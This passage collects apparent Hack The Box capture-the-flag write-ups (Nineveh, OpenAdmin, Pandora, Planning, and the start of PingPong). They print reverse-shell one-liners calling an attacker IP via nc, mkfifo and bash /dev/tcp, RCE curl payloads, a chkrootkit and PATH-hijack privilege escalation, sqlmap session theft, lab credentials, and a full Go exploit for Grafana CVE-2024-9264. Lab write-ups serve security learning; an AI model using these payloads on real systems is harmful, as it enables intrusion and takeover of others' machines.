after some trial/error i found that it only includes the file that starts inlcude ninevehNotes.txt

so l’ll create a new database with the name of ninevehNotes.txt.php and add the default value -

<?php system("id"); ?>

let’s try to access the database from department portal notes section

and Bingo we got the commadn execution, to get reverse shell follow same process just change php command with busybox nc 10.10.14.17 443 -e /bin/bash

and we got shell

when we read the notes of admin we found that there’s secret folder which contains hardcoded credentials

i found secure_notes folder, let’s open it in browser

it shows the image, let’s download the image

wget https://10.10.10.43/secure_notes/nineveh.png --no-check-certificate

https://app.notion.com

for image what we can get from image, let’s run strings on the image

strings nineveh.png

we found the username amrois

but we don’t found ssh port open, let’s ssh from the target machine, transfer the id_rsa to machine and then ssh from there

ssh -i id_rsa amrois@127.0.0.1

started enumerating the system and found mail for amrois user

it says please knock the door next time!, and some numbers are listed in this, what’s meaning of that

further enumeration reveals that port 22 is knocked using knockd

Port Knocking

Port knocking is a security technique where a series of connection attempts to closed ports on a network service (like SSH) are used to gain access to that service

it the same sequence that we found in the mail, i came across this article which shows how we can knock the port → https://medium.com/@reotmani/port-knocking-dbe6d8aaeb9

we need to run this command : knock -v 10.10.10.43 571 290 911 in order to open ssh port

let’s now try to connect with ssh

let’s run the linpeas.sh, and i found that report-reset.sh, is running as cronjob.

let’s run the pspy64 and see what’s going on

running pspy i found root user is running script called vulnscan.sh, and many process running /usr/bin/chkrootkit

after googling the chkrootkit i found that it is the binary that scans system for rootkits

searchsploit "chkrootkit"

i found Local Privilege Escalation → https://www.exploit-db.com/exploits/33899

reading the exploit i found that we need to create /tmp/update file, and place our malicious code into that, when root user executes the chkrootkit it will execute /tmp/update file

so i’ll add the chmod +s /bin/bash command to /tmp/updat

echo -e '#!/bin/bash\nchmod +s /bin/bash' > /tmp/update

make it executable, - chmod +x /tmp/update

wait for few seconds and we’ll get SUID bit set on /bin/bash when root user executes chkrootkit

use /bin/bash -p to get root shell, Bingo! Pwned!!

OpenAdmin

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: OpenAdmin
Difficulty: Easy
OS Type: Linux

Summary:

found /music via directory bruteforcing
click on login button redirect us to /ona which is running opennetadmin application, found → https://www.exploit-db.com/exploits/47691, got initial access
Enumerating system i found /opt/ona/www/local/config/database_settings.inc.php, which contains database password, use that to spray on local users, worked for jimmy, ssh as jimmy user
continue enumerating found /var/www/internal, application analyzing source code found that it is first login using username and password from jimmy, and then dump the joanna’s private ssh keys, password is check using sha512 hash
as we have write permissions to that file, i changed that code to match only plaintext password - password forward port to machine using ssh, access it locally and login got the joanna’s private ssh key
it requires the passphrase to use the key, use john to crack the passphrase and login as joanna, running sudo -l we found that joanna can run /bin/nano /opt/priv as sudo, found GTFObins payload used that to get root shell

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
|   256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

let’s start our enumeration from http port 80, i opened the url in firefox

Hmm, it comes with apache default page, let’s use gobuster to find hidden files or directories

gobuster dir -u http://10.10.10.171/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

nice we found some directories, let’s check it one by one

first i’ll check for /music

clicking on login button it redirect us to /ona

we found that opennetadmin application is running version 18.1.1, also as the machine name suggest looks like it is the initial attack vector

quick google search reveals https://www.exploit-db.com/exploits/47691

analyzing exploit we found that it runs simple curl command with some argument let’s run it to see if it’s working or not

curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";id;echo \"END\"&xajaxargs[]=ping" http://10.10.10.171/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

let’s get the reverse shell using simple nc payload with named pipes

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.17 443 >/tmp/f to pass this in curl without any issue i encoded this in URL format using https://www.urlencoder.org/

final payload:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.17%20443%20%3E%2Ftmp%2Ff

replace this command with id command and send curl request and hopefully we’ll get shell

upgrade to TTY shell using python one-liner → python3 -c 'import pty;pty.spawn("/bin/bash");’

trying to run sudo -l we got error

i remeber this error, as while solving another HTB machine i got this same error but it resolved once we logged in from SSH or any standard shell

while enumerating host, i found internal directory in /var/www which only can be accessible by the jimmy user, or internal group member

let’s keep this information to our pocket and, continue our enumeration after gaining access on the system, i found database credentials in the → /opt/ona/www/local/config/database_settings.inc.php

i tried login using above creds in sql database and found only two users admin, guest

not useful, i’ll try bruteforcing this password on the user’s presents on the system

to list users with shell - cat /etc/passwd | grep sh$

using hydra for password spraying for ssh login

hydra -L user.txt -P passwords.txt ssh://10.10.10.171

and found valid credentials, let’s login as jimmy using ssh

ssh jimmy@10.10.10.171

still we don’t have user.txt, we can see that user is member of non default group internal, let’s check if user has ability to run any commands as sudo

sadly no, but we can see that the error that we’re facing in www-data shell is fixed now

if we remember we discovered the internal directory which can access by jimmy user or internal group

i found the bunch of php files inside the internal folder

reading the main.php file i found tha it is dumping joanna’s private ssh key

but it requires the session, from index.php, let’s check what does that file contains

it just authorizing user, so instead of cracking this password, as we’ve write permission to this file i just add the password as password

now we need to check on which port this website is running internally

ss -tunlp

let’s use SSH to forward this port to our local machine

ssh -L 9001:127.0.0.1:52846 kali@10.10.14.17 -N

and then access the website on port 9001, on your localhost - 127.0.0.1

let’s save this to our machine change permissions using chmod 600 id_rsa and try to login as joanna

ssh -i id_rsa joanna@10.10.10.171

it requires the passphrase let’s try “ninja”, we got password like hint from the website

but it’s not working, let’s crack the passphrase using john

ssh2john id_rsa > ssh.hash

john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

bingo we got the passphrase, login using ssh

running sudo -l reveals that we can run /bin/nano /opt/priv command using sudo as root without password

searching for exploit in GTFOBins i found following payload

sudo /bin/nano /opt/priv
CTRL + R, CTRL + X
reset; bash 1>&0 2>&0

enter to get root shhell

Pandora

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Pandora
Difficulty: Medium
OS Type: Linux

Summary:

SNMP revelas the SSH credentials that we can login to machine
It turns out that web Pandora FMS running internally i used chisel to forward port and access website from our machine
further enumeration reveals the SQL Injection vulnerability that can leak the Sesssion ID -https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/
use this vulnerability with sqlmap to get Session ID of matt user and use that to login to Pandora FMS, further searching reveals another vulnerability in pandora FMS https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities
got access as matt user, found binary with SUID bit and try to execute it it failed, hint suggest to login using ssh, so added my public key in authorized_keys file and login using my private id_rsa keys
running strings on the binary i found path injection vulnerability, create malicious tar file, add custom path and run SUID binary to get root shell

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPIYGoHvNFwTTboYexVGcZzbSLJQsxKopZqrHVTeF8oEIu0iqn7E5czwVkxRO/icqaDqM+AB3QQVcZSDaz//XoXsT/NzNIbb9SERrcK/n8n9or4IbXBEtXhRvltS8NABsOTuhiNo/2fdPYCVJ/HyF5YmbmtqUPols6F5y/MK2Yl3eLMOdQQeax4AWSKVAsR+issSZlN2rADIvpboV7YMoo3ktlHKz4hXlX6FWtfDN/ZyokDNNpgBbr7N8zJ87+QfmNuuGgmcZzxhnzJOzihBHIvdIM4oMm4IetfquYm1WKG3s5q70jMFrjp4wCyEVbxY+DcJ54xjqbaNHhVwiSWUZnAyWe4gQGziPdZH2ULY+n3iTze+8E4a6rxN3l38d1r4THoru88G56QESiy/jQ8m5+Ang77rSEaT3Fnr6rnAF5VG1+kiA36rMIwLabnxQbAWnApRX9CHBpMdBj7v8oLhCRn7ZEoPDcD1P2AASdaDJjRMuR52YPDlUSDd8TnI/DFFs=
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNNJGh4HcK3rlrsvCbu0kASt7NLMvAUwB51UnianAKyr9H0UBYZnOkVZhIjDea3F/CxfOQeqLpanqso/EqXcT9w=
|   256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCMYY9DMj/I+Rfosf+yMuevI7VFIeeQfZSxq67EGxsb
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port Scanning - UDP

PORT    STATE SERVICE REASON              VERSION
161/udp open  snmp    udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)

Enumeration

Port 80/HTTP

let’s start our enumeration from port 80

i ran gobuster on the website but didn’t find anything useful, let’s move to SNMP enumeration

Port 161/SNMP (UDP)

as we know the SNMP version is 1 i’ll use snmp walk command to enumerate snmp

snmpwalk -v 1 -c public 10.10.11.136

i’ll check if this is valid creds or not

nxc ssh 10.10.11.136 -u daniel -p HotelBabylon23

let’s login to ssh as daniel

ssh daniel@10.10.11.136

it turns out that there’s another user matt on the system, and enumerating host reveals the pandora FMS running internally

cat /etc/apache2/sites-enabled/pandora.conf

so the above configuration shows that the website is only accessible in localhost, and pandora.panda.htb, so i’ll forward port 80 to my kali machine and access it from there

i’ll be using chisel to forward port to my kali machine

on kali

chisel server --reverse --port 5000

on target machine

./chisel_1.10.1_linux_amd64 client 10.10.14.17:5000 R:8081:localhost:80

add the localhost pandora.panda.htb in /etc/hosts file

and then visit localhost:8081

it directly redirect to login page, quick google search uncovers the RCE exploit for the pandora FMS

https://www.exploit-db.com/exploits/50961

but it is authenticated, back to our target machine i found the file that contains admin password hash, /var/www/pandora/pandora_console/pandoradb_data.sql

that can be crack via crackstation.net

but this won’t working

https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained another search reveals the SQL Injection vulnerability

let’s open /include/chart_generator.php

and it is taking session_id as get parameter which is seems to vulnerable

sqlmap -u 'http://localhost:8081/pandora_console/include/chart_generator.php?session_id=1' -D pandora -T tsessions_php --dump

let’s use sqlmap to get valid session ID

add the above session id In PHPSESSID cookie

refresh the page

searching for exploit i found RCE vulnerability exploit https://www.exploit-db.com/exploits/50961

but unfortunately it’s not working, reading throughout exploit turns out that it is trying to access the filemanager and put reverse shell in it, but seems it’s not able to access that

continue searching, i found another article about RCE vulnerability - https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities

in our application, click on events tab → View events, and intercept request via burpsuite

changing the response and adding the request body

page=include/ajax/events&perform_event_response=10000000&target=id&response_id=1

and we got response back as our command executed, i’ll use this payload to get reverse shell → bash -c 'bash -i >& /dev/tcp/10.10.14.17/443 0>&1'

i’ll encode this to url using https://www.urlencoder.org/

and final encode payload as below

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.17%2F443%200%3E%261%27

running linpeas, i found interesting SUID binary

transfer binary to our local machine and run strings on it

Lol, it’s not specifying full path for tar binary we can laverage to get root shell, as the binary runs as root we can get shell as root

let’s normally run the binary

strange it still fails to execute, to debug issue, i ran pspy in daniel SSH shell

and we can see that the binary executes at root, but running tar as normal user, i don’t really find any solution or why it’s happening i used hint and found that we need to get ssh session on machine to solve this

create .ssh directory and write our ssh public key in authorized_keys file

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx9LVWrCkaqntFdyokUKNvnleMwdyo5VkR8DwCbGDH1jFcYCuMOsUoKxjmGqUsKy6sLQhK5xPEUvYAWJoPTznf+yuT7djgCbuk2I028OoqOf4cxkDLO6pLspb7l2QGlG1drPPuW9UJp19in7tuBiyEu852V7W4b82S5W4Az0Bu28sjr0sGNugLhIzE+zUr/mS89CwICY0FebWXxKCxe9flaQLgLHqNtVsQyS+aWJHdFei9uzvW6klhWCRyNGnOMp9ptD+mbI/j9e53at/qEUlCS7Y+Tvcp1WG0H6IvDzkbTEf9no+Uz7rVCmqaYBGDR+L8kuCnaA3+PJ7U5VJFLqS0YDFbzLGGReFk93zGq8aW85wAHY+lX4FgFtYmZGDFGrfyE4LVOqtHofn6VBSkWLHK7t0kHSrnBCi5/G8KcNCVcuNKZquzz9hT+lR3UM/oMHLX4u8tbiCGaZlsgPAvjmxU4A9GA8UsBzREqd5QbNAyjZ+OrRweEkpCC/tnVMgIuWc= kali@kali' > authorized_keys

and use my private key to login to SSH

ssh -i ~/.ssh/id_rsa matt@10.10.11.136

running /usr/bin/pandora_backup now we successfully ran

nice, now let’s create a tar binary in /tmp folder

create a malicious tar file

echo -e '#!/bin/bash\necho "Rooted!!"\n/bin/bash' > tar

make it executable

chmod +x tar

now we add /tmp in PATH variable so when it looks for executable first it search in /tmp

export PATH=/tmp:$PATH

and execute the /usr/bin/pandora_backup hopefully we can get the root shell

Planning

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Planning
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
|   256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration:

As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

Port 80/HTTP

i’ll start my enumeration from port 80 visiting the site in web browser it redirect us to planning.htb

let’s add planning.htb into /etc/hosts file and then refresh the page

checking web technologies using whatweb

whatweb http://planning.htb

nothing interesting in gobuster

so i’ll move to Subdomain fuzzing and i used the wfuzz with

wfuzz -w main.txt -u http://planning.htb -H "Host: FUZZ.planning.htb" --hh 178

let’s add the grafana.planning.htb in /etc/hosts

let’s open the grafana.planning.htb

it disclosed the grafana version v.11.0.0

quick google search reveals that https://github.com/nollium/CVE-2024-9264

we’ve found the authenticated RCE, as we already provided with the credentials let’s clone the exploit repo.

./CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id http://grafana.planning.htb

but i was facing issue in getting reverse shell so i moved to another exploit

package main

import (
    "bytes"
    "encoding/json"
    "flag"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/http/cookiejar"
    "time"
)

type SecurityConfig struct {
    GrafanaURL  string
    Credentials struct {
        Username string
        Password string
    }
    RemoteEndpoint struct {
        IP   string
        Port string
    }
    Client    *http.Client
    AuthToken string
}

type GrafanaQuery struct {
    Datasource struct {
        Name string `json:"name"`
        Type string `json:"type"`
        UID  string `json:"uid"`
    } `json:"datasource"`
    Expression string `json:"expression"`
    Hide       bool   `json:"hide"`
    RefID      string `json:"refId"`
    Type       string `json:"type"`
    Window     string `json:"window"`
}

type QueryPayload struct {
    Queries []GrafanaQuery `json:"queries"`
}

func NewSecurityConfig() *SecurityConfig {
    jar, err := cookiejar.New(nil)
    if err != nil {
        log.Fatal(err)
    }
    
    return &SecurityConfig{
        Client: &http.Client{
            Jar: jar,
            Timeout: 30 * time.Second,
            Transport: &http.Transport{
                MaxIdleConns:        10,
                IdleConnTimeout:     30 * time.Second,
                DisableCompression:  true,
            },
        },
    }
}

func (c *SecurityConfig) Authenticate() error {
    payload := map[string]string{
        "user":     c.Credentials.Username,
        "password": c.Credentials.Password,
    }
    jsonData, err := json.Marshal(payload)
    if err != nil {
        return fmt.Errorf("error marshaling auth payload: %v", err)
    }
    // First get the login page to capture CSRF token if any
    resp, err := c.Client.Get(c.GrafanaURL)
    if err != nil {
        return fmt.Errorf("error getting login page: %v", err)
    }
    resp.Body.Close()

    loginURL := fmt.Sprintf("%s/login", c.GrafanaURL)
    req, err := http.NewRequest(http.MethodPost, loginURL, bytes.NewBuffer(jsonData))
    if err != nil {
        return fmt.Errorf("error creating request: %v", err)
    }
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Accept", "application/json")
    

    resp, err = c.Client.Do(req)
    if err != nil {
        return fmt.Errorf("authentication request failed: %v", err)
    }
    defer resp.Body.Close()

    body, _ := ioutil.ReadAll(resp.Body)
    
    // Check for token in response headers
    for _, cookie := range resp.Cookies() {
        if cookie.Name == "grafana_session" {
            c.AuthToken = cookie.Value
            break
        }
    }

    if c.AuthToken == "" {
        // Try to get token from response body if it's there
        var response map[string]interface{}
        if err := json.Unmarshal(body, &response); err == nil {
            if token, ok := response["token"].(string); ok {
                c.AuthToken = token
            }
        }
    }
    log.Printf("Response status: %d\n", resp.StatusCode)
    log.Printf("Response body: %s\n", string(body))
    log.Println("✓ Authentication successful")
    return nil
}

func (c *SecurityConfig) CveExploitTest() error {
    endpoint := fmt.Sprintf("/dev/tcp/%s/%s", c.RemoteEndpoint.IP, c.RemoteEndpoint.Port)
    
    payload := QueryPayload{
        Queries: []GrafanaQuery{
            {
                Datasource: struct {
                    Name string `json:"name"`
                    Type string `json:"type"`
                    UID  string `json:"uid"`
                }{
                    Name: "Expression",
                    Type: "__expr__",
                    UID:  "__expr__",
                },
                Expression: fmt.Sprintf("SELECT 1;COPY (SELECT 'sh -i >& %s 0>&1') TO '/tmp/cve_exploit';", endpoint),
                Hide:       false,
                RefID:      "SEC_TEST",
                Type:       "sql",
                Window:     "",
            },
        },
    }
    return c.sendSecurityPayload(payload, "security test preparation")
}

func (c *SecurityConfig) ExecuteExploitTest() error {
    payload := QueryPayload{
        Queries: []GrafanaQuery{
            {
                Datasource: struct {
                    Name string `json:"name"`
                    Type string `json:"type"`
                    UID  string `json:"uid"`
                }{
                    Name: "Expression",
                    Type: "__expr__",
                    UID:  "__expr__",
                },
                Expression: "SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash /tmp/cve_exploit |');",
                Hide:       false,
                RefID:      "SEC_EXEC",
                Type:       "sql",
                Window:     "",
            },
        },
    }

    return c.sendSecurityPayload(payload, "security test execution")
}

func (c *SecurityConfig) sendSecurityPayload(payload QueryPayload, operation string) error {
    jsonData, err := json.Marshal(payload)
    if err != nil {
        return fmt.Errorf("error marshaling payload: %v", err)
    }
    url := fmt.Sprintf("%s/api/ds/query", c.GrafanaURL)
    
    req, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(jsonData))
    if err != nil {
        return fmt.Errorf("error creating request: %v", err)
    }

    // Add all required headers
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Accept", "application/json")
    if c.AuthToken != "" {
        req.Header.Set("X-Grafana-Token", c.AuthToken)
    }

    // Add query parameters
    q := req.URL.Query()
    q.Add("ds_type", "__expr__")
    q.Add("expression", "true")
    q.Add("requestId", fmt.Sprintf("SEC_%d", time.Now().Unix()))
    req.URL.RawQuery = q.Encode()
    
    resp, err := c.Client.Do(req)
    if err != nil {
        return fmt.Errorf("%s request failed: %v", operation, err)
    }
    defer resp.Body.Close()

    body, _ := ioutil.ReadAll(resp.Body)
    log.Printf("Response status: %d\n", resp.StatusCode)
    log.Printf("Response body: %s\n", string(body))
    if resp.StatusCode != http.StatusOK {
        return fmt.Errorf("%s failed with status: %d", operation, resp.StatusCode)
    }

    log.Printf("✓ %s completed successfully\n", operation)
    return nil
}

func main() {
    config := NewSecurityConfig()
    flag.StringVar(&config.GrafanaURL, "url", "", "Grafana URL (e.g., http://127.0.0.1:3000)")
    flag.StringVar(&config.Credentials.Username, "username", "", "Grafana username")
    flag.StringVar(&config.Credentials.Password, "password", "", "Grafana password")
    flag.StringVar(&config.RemoteEndpoint.IP, "endpoint-ip", "", "Remote endpoint IP for Reverse Shell")
    flag.StringVar(&config.RemoteEndpoint.Port, "endpoint-port", "", "Remote endpoint port for Reverse Shell")
    flag.Parse()
    if config.GrafanaURL == "" || config.Credentials.Username == "" || 
       config.Credentials.Password == "" || config.RemoteEndpoint.IP == "" || 
       config.RemoteEndpoint.Port == "" {
        log.Fatal("All flags are required. Use -h for help")
    }
    if err := config.Authenticate(); err != nil {
        log.Fatal("Authentication error:", err)
    }
    if err := config.CveExploitTest(); err != nil {
        log.Fatal("Reverse shell preparation error:", err)
    }
    if err := config.ExecuteExploitTest(); err != nil {
        log.Fatal("Error while triggering reverse shell:", err)
    }
    log.Printf("✓ Security assessment completed. Monitor endpoint %s:%s\n",
        config.RemoteEndpoint.IP, config.RemoteEndpoint.Port)
}

start netcat listener and run the exploit with

go run exploit.go -endpoint-ip 10.10.14.42 -endpoint-port 443 -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -username admin

we are in container so we need to get access to actual machine

running env we found the possible username and password

let’s try to ssh as enzo

ssh enzo@10.10.11.68

user.txt:

in /opt/cronjobs directory i found crontab.db file

looks like it manages the cron jobs on the system then i found the internally running service on port 8000

let’s try to forward it to our machine and then access it over localhost

from kalil

ssh enzo@10.10.11.68 -L 8000:127.0.0.1:8000

access the web app over 127.0.0.1:8000

i tried all the combinations we got previously none of them are working so i used password that we’ve found in crontab.db file with root username

now i created a simple shell.sh in /home/enzo folder

bash -i >& /dev/tcp/10.10.14.42/443 2>&1

create a new cronjob by clicking on blue button “New”

save and start netcat listener on port 443

click on run now and we’ll get the shell as root

got the shell as root.!

PingPong

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

<aside> 💡

As is common in real life pentests, you will start the PingPong box with credentials for the following account c.roberts / AssumedBreach123

</aside>

Port Scanning - Service & Version Enumeration

# Nmap 7.98 scan initiated Sun Apr 26 11:23:32 2026 as: /usr/lib/nmap/nmap -p- --open -Pn -sVC -vv -oN nmap.out 10.129.36.29
Nmap scan report for 10.129.36.29
Host is up, received user-set (0.14s latency).
Scanned at 2026-04-26 11:23:33 IST for 493s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-26 14:00:12Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after:  2106-04-20T18:54:50
| MD5:     76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1:   938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
